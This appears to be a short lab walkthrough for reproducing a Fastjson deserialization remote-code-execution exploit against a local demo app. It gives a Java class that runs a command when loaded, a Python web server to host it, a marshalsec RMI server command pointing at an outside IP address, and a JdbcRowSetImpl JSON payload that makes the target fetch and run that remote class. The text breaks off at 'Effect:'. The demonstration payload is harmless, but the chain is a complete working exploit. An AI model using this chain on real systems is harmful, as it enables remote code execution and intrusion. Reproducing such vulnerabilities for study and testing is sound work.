
After setting the project as a Maven project, run (note: using a higher version of JDK may fail, it is recommended to use JDK version 1.8.65)
Just run the main function of FastjsondemoApplication.java
TouchFile.java file
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/flag_test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Then compile it into a class file using javac version 8
javac TouchFile.java
Python starts web service
python -m SimpleHTTPServer 80
Use marshalsec to generate RMIServer
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999
Modify request packet
POST / HTTP/1.1
Host: 127.0.0.1:8080
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
"autoCommit":true
}
}
Effect: 